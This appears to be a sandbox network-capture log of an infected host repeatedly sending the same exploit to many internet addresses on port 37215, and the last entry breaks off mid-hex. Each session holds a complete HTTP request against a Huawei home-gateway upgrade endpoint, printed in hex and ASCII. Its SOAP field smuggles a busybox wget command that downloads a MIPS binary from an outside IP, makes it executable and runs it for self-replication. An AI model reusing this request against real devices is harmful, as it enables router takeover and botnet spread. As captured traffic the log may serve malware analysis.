Jul 20, 2024 23:00:57.221790075 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.23	56808	197.138.137.217	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:57.221790075 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.23	43520	61.117.29.155	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:57.221801996 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.23	50602	157.15.115.232	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:57.221802950 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.23	36746	41.173.160.14	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:57.221802950 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.23	53230	46.47.224.132	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:57.221802950 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.23	47604	197.178.33.225	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:57.221888065 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.23	51880	132.70.95.60	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:57.221910000 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.23	49826	41.65.251.158	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:57.221920967 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.23	35550	168.165.233.141	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:57.222007990 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.23	36512	157.21.67.49	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:57.222008944 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 